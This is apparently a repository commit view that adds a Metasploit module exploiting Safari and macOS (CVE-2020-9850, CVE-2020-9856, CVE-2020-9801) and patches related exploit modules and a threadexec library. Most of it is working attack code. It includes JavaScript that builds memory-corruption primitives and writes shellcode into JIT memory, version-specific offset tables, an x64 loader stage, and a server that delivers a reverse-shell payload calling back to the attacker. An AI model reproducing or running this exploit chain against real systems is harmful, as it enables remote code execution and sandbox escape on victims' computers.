||||
@@ -0,0 +1,56 @@
|
||||
diff -bur threadexec-orig/src/thread_call.c threadexec/src/thread_call.c
|
||||
--- threadexec-orig/src/thread_call.c 2020-03-13 21:38:03.000000000 -0400
|
||||
+++ threadexec/src/thread_call.c 2020-03-13 20:16:57.000000000 -0400
|
||||
@@ -17,6 +17,7 @@
|
||||
#if __arm64__
|
||||
impl = thread_save_state_arm64;
|
||||
#endif
|
||||
+ return NULL;
|
||||
if (impl == NULL) {
|
||||
DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__);
|
||||
return false;
|
||||
@@ -31,6 +32,7 @@
|
||||
#if __arm64__
|
||||
impl = thread_restore_state_arm64;
|
||||
#endif
|
||||
+ return NULL;
|
||||
if (impl == NULL) {
|
||||
DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__);
|
||||
return false;
|
||||
diff -bur threadexec-orig/src/threadexec_call.c threadexec/src/threadexec_call.c
|
||||
--- threadexec-orig/src/threadexec_call.c 2020-03-13 21:38:03.000000000 -0400
|
||||
+++ threadexec/src/threadexec_call.c 2020-03-13 20:16:57.000000000 -0400
|
||||
@@ -4,6 +4,7 @@
|
||||
#include "tx_log.h"
|
||||
|
||||
#include <assert.h>
|
||||
+#include <stdio.h>
|
||||
|
||||
bool
|
||||
threadexec_call_fast(threadexec_t threadexec, void *result, size_t result_size,
|
||||
@@ -57,6 +58,7 @@
|
||||
size_t shmem_position = 0;
|
||||
for (size_t i = 0; i < argument_count; i++) {
|
||||
enum threadexec_value_disposition disposition = arguments[i].disposition;
|
||||
+ printf("%d\n", disposition);
|
||||
switch (disposition) {
|
||||
case TX_DISPOSITION_LITERAL:
|
||||
literal_arguments[i].value = arguments[i].value;
|
||||
diff -bur threadexec-orig/src/tx_call.c threadexec/src/tx_call.c
|
||||
--- threadexec-orig/src/tx_call.c 2020-03-13 21:38:03.000000000 -0400
|
||||
+++ threadexec/src/tx_call.c 2020-03-13 20:16:57.000000000 -0400
|
||||
@@ -10,10 +10,10 @@
|
||||
tx_preserve(threadexec_t threadexec) {
|
||||
assert(threadexec->preserve_state == NULL && threadexec->thread != MACH_PORT_NULL);
|
||||
const void *state = thread_save_state(threadexec->thread);
|
||||
- if (state == NULL) {
|
||||
- ERROR("Could not preserve thread 0x%x", threadexec->thread);
|
||||
- return false;
|
||||
- }
|
||||
+ // if (state == NULL) {
|
||||
+ // ERROR("Could not preserve thread 0x%x", threadexec->thread);
|
||||
+ // return false;
|
||||
+ // }
|
||||
threadexec->preserve_state = state;
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
BITS 64
|
||||
|
||||
mov rbp, [rsp + 0x28]
|
||||
add rbp, 0x10
|
||||
|
||||
; rsi = argv[0] (stage1_arr)
|
||||
mov rax, [rbp]
|
||||
; esi = stage1_arr.length
|
||||
mov esi, [rax + 0x18]
|
||||
|
||||
mov edi, 0
|
||||
mov edx, 7
|
||||
mov ecx, 0x1802
|
||||
mov r8d, -1
|
||||
mov r9, 0
|
||||
|
||||
push rbx
|
||||
push rcx
|
||||
push rbp
|
||||
push r10
|
||||
push r12
|
||||
push r13
|
||||
push r14
|
||||
push r15
|
||||
|
||||
mov eax, 20000C5h
|
||||
mov r10, rcx
|
||||
syscall
|
||||
|
||||
pop r15
|
||||
pop r14
|
||||
pop r13
|
||||
pop r12
|
||||
pop r10
|
||||
pop rbp
|
||||
pop rcx
|
||||
pop rbx
|
||||
|
||||
push rax
|
||||
mov rdi, rax
|
||||
; rsi = argv[0] (stage1_arr)
|
||||
mov rax, [rbp]
|
||||
; ecx = stage1_arr.length
|
||||
mov ecx, [rax + 0x18]
|
||||
; rsi = stage1_arr.vector
|
||||
mov rsi, [rax + 0x10]
|
||||
cld
|
||||
rep movsb
|
||||
ret
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
@@ -61,11 +62,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
])
|
||||
end
|
||||
|
||||
def exploit_data(directory, file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
||||
::File.binread path
|
||||
end
|
||||
|
||||
def payload_url
|
||||
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
|
||||
end
|
||||
@@ -304,8 +300,8 @@ function get_mem_rw(stage1) {
|
||||
^
|
||||
|
||||
get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
|
||||
utils = exploit_data "CVE-2018-4233", "utils.js"
|
||||
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
||||
utils = exploit_data "javascript_utils", "utils.js"
|
||||
int64 = exploit_data "javascript_utils", "int64.js"
|
||||
dump_offsets = ''
|
||||
if datastore['DUMP_OFFSETS']
|
||||
dump_offsets = %Q^
|
||||
|
||||
@@ -0,0 +1,568 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Safari in Operator Side Effect Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an incorrect side-effect modeling of the 'in' operator.
|
||||
The DFG compiler assumes that the 'in' operator is side-effect free, however
|
||||
the <embed> element with the PDF plugin provides a callback that can trigger
|
||||
side-effects leading to type confusion (CVE-2020-9850).
|
||||
The type confusion can be used as addrof and fakeobj primitives that then
|
||||
lead to arbitrary read/write of memory. These primitives allow us to write
|
||||
shellcode into a JIT region (RWX memory) containing the next stage of the
|
||||
exploit.
|
||||
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
|
||||
and extracts a macOS application containing our payload into /var/db/CVMS.
|
||||
The payload can then be opened with CVE-2020-9801, executing the payload
|
||||
as a user but without sandbox restrictions.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
|
||||
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
|
||||
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
|
||||
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
|
||||
'timwr' # metasploit integration
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-9801'],
|
||||
['CVE', '2020-9850'],
|
||||
['CVE', '2020-9856'],
|
||||
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
|
||||
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
||||
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 18 2020'
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
<<~JS
|
||||
const DUMMY_MODE = 0;
|
||||
const ADDRESSOF_MODE = 1;
|
||||
const FAKEOBJ_MODE = 2;
|
||||
|
||||
function pwn() {
|
||||
let otherWindow = document.getElementById('frame').contentWindow;
|
||||
let innerDiv = otherWindow.document.querySelector('div');
|
||||
|
||||
if (!innerDiv) {
|
||||
print("Failed to get innerDiv");
|
||||
return;
|
||||
}
|
||||
|
||||
let embed = otherWindow.document.querySelector('embed');
|
||||
|
||||
otherWindow.document.body.removeChild(embed);
|
||||
otherWindow.document.body.removeChild(otherWindow.annotationContainer);
|
||||
|
||||
const origFakeObjArr = [1.1, 1.1];
|
||||
const origAddrOfArr = [2.2, 2.2];
|
||||
let fakeObjArr = Array.from(origFakeObjArr);
|
||||
let addressOfArr = Array.from(origAddrOfArr);
|
||||
let addressOfTarget = {};
|
||||
|
||||
let sideEffectMode = DUMMY_MODE;
|
||||
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
|
||||
if (sideEffectMode == DUMMY_MODE)
|
||||
return;
|
||||
else if (sideEffectMode == FAKEOBJ_MODE)
|
||||
fakeObjArr[0] = {};
|
||||
else if (sideEffectMode == ADDRESSOF_MODE)
|
||||
addressOfArr[0] = addressOfTarget;
|
||||
});
|
||||
|
||||
print('Callback is registered');
|
||||
|
||||
otherWindow.document.body.appendChild(embed);
|
||||
let triggerArr;
|
||||
|
||||
function optFakeObj(triggerArr, arr, addr) {
|
||||
arr[1] = 5.5;
|
||||
let tmp = 0 in triggerArr;
|
||||
arr[0] = addr;
|
||||
return tmp;
|
||||
}
|
||||
|
||||
function optAddrOf(triggerArr, arr) {
|
||||
arr[1] = 6.6;
|
||||
let tmp = 0 in triggerArr;
|
||||
return [arr[0], tmp];
|
||||
}
|
||||
|
||||
function prepare() {
|
||||
triggerArr = [7.7, 8.8];
|
||||
triggerArr.__proto__ = embed;
|
||||
sideEffectMode = DUMMY_MODE;
|
||||
for (var i = 0; i < 1e5; i++) {
|
||||
optFakeObj(triggerArr, fakeObjArr, 9.9);
|
||||
optAddrOf(triggerArr, addressOfArr);
|
||||
}
|
||||
delete triggerArr[0];
|
||||
}
|
||||
|
||||
function cleanup() {
|
||||
otherWindow.document.body.removeChild(embed);
|
||||
otherWindow.document.body.appendChild(embed);
|
||||
|
||||
if (sideEffectMode == FAKEOBJ_MODE)
|
||||
fakeObjArr = Array.from(origFakeObjArr);
|
||||
else if (sideEffectMode == ADDRESSOF_MODE)
|
||||
addressOfArr = Array.from(origAddrOfArr);
|
||||
|
||||
sideEffectMode = DUMMY_MODE;
|
||||
}
|
||||
|
||||
function addressOf(obj) {
|
||||
addressOfTarget = obj;
|
||||
sideEffectMode = ADDRESSOF_MODE;
|
||||
let ret = optAddrOf(triggerArr, addressOfArr)[0];
|
||||
cleanup();
|
||||
return Int64.fromDouble(ret);
|
||||
}
|
||||
|
||||
function fakeObj(addr) {
|
||||
sideEffectMode = FAKEOBJ_MODE;
|
||||
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
|
||||
let ret = fakeObjArr[0];
|
||||
cleanup();
|
||||
return ret;
|
||||
}
|
||||
|
||||
prepare();
|
||||
print("Prepare is done");
|
||||
|
||||
let hostObj = {
|
||||
_: 1.1,
|
||||
length: (new Int64('0x4141414141414141')).asDouble(),
|
||||
id: new Int64([
|
||||
0, 0, 0, 0, // m_structureID
|
||||
0x17, // m_indexingType
|
||||
0x19, // m_type
|
||||
0x08, // m_flags
|
||||
0x1 // m_cellState
|
||||
]).asJSValue(),
|
||||
butterfly: 0,
|
||||
o:1,
|
||||
executable:{
|
||||
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
|
||||
unlinkedExecutable:{
|
||||
isBuiltinFunction: 1 << 31,
|
||||
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)
|
||||
identifier: null
|
||||
}
|
||||
},
|
||||
strlen_or_id: (new Int64('0x10')).asDouble(),
|
||||
target: null
|
||||
}
|
||||
|
||||
// Structure ID leak of hostObj.target
|
||||
hostObj.target=hostObj
|
||||
|
||||
var hostObjRawAddr = addressOf(hostObj);
|
||||
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
|
||||
var fakeHostObj = fakeObj(hostObjBufferAddr);
|
||||
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));
|
||||
|
||||
hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
|
||||
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)
|
||||
|
||||
let leakStructureId=Add(new Int64(
|
||||
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
|
||||
), new Int64([
|
||||
0, 0, 0, 0, // m_structureID
|
||||
0x07, // m_indexingType
|
||||
0x22, // m_type
|
||||
0x06, // m_flags
|
||||
0x1 // m_cellState
|
||||
]))
|
||||
print('Leaked structure ID: ' + leakStructureId);
|
||||
|
||||
hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
|
||||
hostObj.butterfly = fakeHostObj;
|
||||
|
||||
addressOf = function(obj) {
|
||||
hostObj.o = obj;
|
||||
return Int64.fromDouble(fakeHostObj[2]);
|
||||
}
|
||||
|
||||
fakeObj = function(addr) {
|
||||
fakeHostObj[2] = addr.asDouble();
|
||||
return hostObj.o;
|
||||
}
|
||||
|
||||
print('Got reliable addressOf/fakeObj');
|
||||
|
||||
let rwObj = {
|
||||
_: 1.1,
|
||||
length: (new Int64('0x4141414141414141')).asDouble(),
|
||||
id: leakStructureId.asDouble(),
|
||||
butterfly: 1.1,
|
||||
|
||||
__: 1.1,
|
||||
innerLength: (new Int64('0x4141414141414141')).asDouble(),
|
||||
innerId: leakStructureId.asDouble(),
|
||||
innerButterfly: 1.1,
|
||||
}
|
||||
|
||||
var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
|
||||
var fakeRwObj = fakeObj(rwObjBufferAddr);
|
||||
rwObj.butterfly = fakeRwObj;
|
||||
|
||||
var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
|
||||
rwObj.innerButterfly = fakeInnerObj;
|
||||
|
||||
|
||||
function read64(addr) {
|
||||
// We use butterfly and it depends on its size in -1 index
|
||||
// Thus, we keep searching non-zero value to read value
|
||||
for (var i = 0; i < 0x1000; i++) {
|
||||
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
|
||||
let value = fakeInnerObj[i];
|
||||
if (value) {
|
||||
return Int64.fromDouble(value);
|
||||
}
|
||||
}
|
||||
throw 'Failed to read: ' + addr;
|
||||
}
|
||||
|
||||
function write64(addr, value) {
|
||||
fakeRwObj[5] = addr.asDouble();
|
||||
fakeInnerObj[0] = value.asDouble();
|
||||
}
|
||||
|
||||
function makeJITCompiledFunction() {
|
||||
var obj = {};
|
||||
// Some code to avoid inlining...
|
||||
function target(num) {
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000001;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000002;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000003;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000004;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000005;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000006;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000007;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000008;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000009;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000a;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000b;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000c;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000d;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000e;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000000f;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000010;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000011;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000012;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000013;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000014;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000015;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000016;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000017;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000018;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000019;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001a;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001b;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001c;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001d;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001e;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x7000001f;
|
||||
num ^= Math.random() * 10000;
|
||||
num ^= 0x70000020;
|
||||
num ^= Math.random() * 10000;
|
||||
num &= 0xffff;
|
||||
return num;
|
||||
}
|
||||
|
||||
// Force JIT compilation.
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
for (var i = 0; i < 1000; i++) {
|
||||
target(i);
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
function getJITCodeAddr(func) {
|
||||
var funcAddr = addressOf(func);
|
||||
print("Target function @ " + funcAddr.toString());
|
||||
var executableAddr = read64(Add(funcAddr, 3 * 8));
|
||||
print("Executable instance @ " + executableAddr.toString());
|
||||
|
||||
var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
|
||||
print("JITCode instance @ " + jitCodeAddr.toString());
|
||||
|
||||
if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
|
||||
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
|
||||
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
|
||||
print("approx. JITCode instance @ " + jitCodeAddr.toString());
|
||||
}
|
||||
|
||||
return jitCodeAddr;
|
||||
}
|
||||
|
||||
function setJITCodeAddr(func, addr) {
|
||||
var funcAddr = addressOf(func);
|
||||
print("Target function @ " + funcAddr.toString());
|
||||
var executableAddr = read64(Add(funcAddr, 3 * 8));
|
||||
print("Executable instance @ " + executableAddr.toString());
|
||||
write64(Add(executableAddr, 3 * 8), addr);
|
||||
}
|
||||
|
||||
function getJITFunction() {
|
||||
var shellcodeFunc = makeJITCompiledFunction();
|
||||
shellcodeFunc();
|
||||
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
|
||||
return [shellcodeFunc, jitCodeAddr];
|
||||
}
|
||||
|
||||
var [_JITFunc, rwxMemAddr] = getJITFunction();
|
||||
|
||||
for (var i = 0; i < stage0.length; i++)
|
||||
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));
|
||||
|
||||
setJITCodeAddr(alert, rwxMemAddr);
|
||||
var argv = {
|
||||
a0: stage1Arr,
|
||||
a1: stage2Arr,
|
||||
doc: document,
|
||||
a2: 0x41414141,
|
||||
a3: 0x42424242,
|
||||
a4: 0x43434343,
|
||||
};
|
||||
alert(argv);
|
||||
}
|
||||
|
||||
var ready = new Promise(function(resolve) {
|
||||
if (typeof(window) === 'undefined')
|
||||
resolve();
|
||||
else
|
||||
window.onload = function() {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
|
||||
ready.then(function() {
|
||||
try {
|
||||
pwn()
|
||||
} catch (e) {
|
||||
print("Exception caught: " + e);
|
||||
location.reload();
|
||||
}
|
||||
}).catch(function(err) {
|
||||
print("Initializatin failed");
|
||||
});
|
||||
JS
|
||||
end
|
||||
|
||||
def offset_table
|
||||
{
|
||||
'placeholder' => {
|
||||
jsc_confstr_stub: 0x0FF5370041414141,
|
||||
jsc_llint_entry_call: 0x0FF5370041414142,
|
||||
libsystem_c_confstr: 0x0FF5370041414143,
|
||||
libsystem_c_dlopen: 0x0FF5370041414144,
|
||||
libsystem_c_dlsym: 0x0FF5370041414145
|
||||
},
|
||||
'10.15.3' => {
|
||||
jsc_confstr_stub: 0xE7D8B4,
|
||||
jsc_llint_entry_call: 0x361f13,
|
||||
libsystem_c_confstr: 0x2644,
|
||||
libsystem_c_dlopen: 0x80430,
|
||||
libsystem_c_dlsym: 0x80436
|
||||
},
|
||||
'10.15.4' => {
|
||||
jsc_confstr_stub: 0xF96446,
|
||||
jsc_llint_entry_call: 0x380a1d,
|
||||
libsystem_c_confstr: 0x2be4,
|
||||
libsystem_c_dlopen: 0x8021e,
|
||||
libsystem_c_dlsym: 0x80224
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
def get_offsets(user_agent)
|
||||
if user_agent =~ /Intel Mac OS X (.*?)\)/
|
||||
osx_version = Regexp.last_match(1).gsub('_', '.')
|
||||
if user_agent =~ %r{Version/(.*?) }
|
||||
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
|
||||
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
|
||||
return false
|
||||
else
|
||||
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
|
||||
end
|
||||
end
|
||||
mac_osx_version = Gem::Version.new(osx_version)
|
||||
if mac_osx_version >= Gem::Version.new('10.15.5')
|
||||
print_warning "macOS version #{mac_osx_version} is not vulnerable"
|
||||
elsif mac_osx_version < Gem::Version.new('10.14')
|
||||
print_warning "macOS version #{mac_osx_version} is not supported"
|
||||
elsif offset_table.key?(osx_version)
|
||||
return offset_table[osx_version]
|
||||
else
|
||||
print_warning "No offsets for version #{mac_osx_version}"
|
||||
end
|
||||
else
|
||||
print_warning 'Unexpected User-Agent'
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
user_agent = request['User-Agent']
|
||||
print_status("Request #{request.uri} from #{user_agent}")
|
||||
if request.uri.ends_with? '.pdf'
|
||||
send_response(cli, '', { 'Content-Type' => 'application/pdf' })
|
||||
return
|
||||
end
|
||||
|
||||
offsets = get_offsets(user_agent)
|
||||
unless offsets
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
utils = exploit_data 'javascript_utils', 'utils.js'
|
||||
int64 = exploit_data 'javascript_utils', 'int64.js'
|
||||
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
|
||||
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
|
||||
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'
|
||||
|
||||
offset_table['placeholder'].each do |k, v|
|
||||
placeholder_index = stage1.index([v].pack('Q'))
|
||||
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
|
||||
end
|
||||
|
||||
case target['Arch']
|
||||
when ARCH_X64
|
||||
root_payload = payload.encoded
|
||||
when ARCH_PYTHON
|
||||
root_payload = "CMD:echo \"#{payload.encoded}\" | python"
|
||||
when ARCH_CMD
|
||||
root_payload = "CMD:#{payload.encoded}"
|
||||
end
|
||||
if root_payload.length > 1024
|
||||
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
|
||||
end
|
||||
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
|
||||
stage2[placeholder_index, root_payload.length] = root_payload
|
||||
payload_js = <<~JS
|
||||
const stage0 = [
|
||||
#{Rex::Text.to_num(stage0)}
|
||||
];
|
||||
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
|
||||
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
|
||||
JS
|
||||
|
||||
jscript = <<~JS
|
||||
#{utils}
|
||||
#{int64}
|
||||
#{payload_js}
|
||||
#{exploit_js}
|
||||
JS
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = %^
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
^
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(%r{//.*$}, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
|
||||
pdfpath = datastore['URIPATH'] || get_resource
|
||||
pdfpath += '/' unless pdfpath.end_with? '/'
|
||||
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'
|
||||
|
||||
html = <<~HTML
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
iframe {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
|
||||
<script>
|
||||
#{jscript}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
|
||||
end
|
||||
|
||||
end
|
||||
@@ -6,6 +6,7 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
@@ -75,11 +76,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
end
|
||||
|
||||
def exploit_data(directory, file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
|
||||
::File.binread path
|
||||
end
|
||||
|
||||
def stage1_js
|
||||
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
|
||||
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
|
||||
@@ -140,8 +136,8 @@ EOF
|
||||
return
|
||||
end
|
||||
|
||||
utils = exploit_data "CVE-2018-4233", "utils.js"
|
||||
int64 = exploit_data "CVE-2018-4233", "int64.js"
|
||||
utils = exploit_data "javascript_utils", "utils.js"
|
||||
int64 = exploit_data "javascript_utils", "int64.js"
|
||||
html = %Q^
|
||||
<html>
|
||||
<body>
|
||||
|
||||
Reference in New Issue
Block a user